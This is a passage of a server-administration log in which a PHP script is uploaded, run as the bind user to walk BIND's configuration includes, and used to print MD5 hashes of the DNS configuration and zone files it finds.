MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 58b6b8ae4641dbacd44268075f2a555a
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-15 13:18:50: Establishing a connection
2026-07-15 13:18:50: 

PUT: /tmp/pkp133412

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-07-15 13:18:50: 

runuser -l bind -s /bin/bash -c '/tmp/pkp133412; rm /tmp/pkp133412'

2026-07-15 13:18:51: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 8227830310fbff06ce05450e47b27977
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
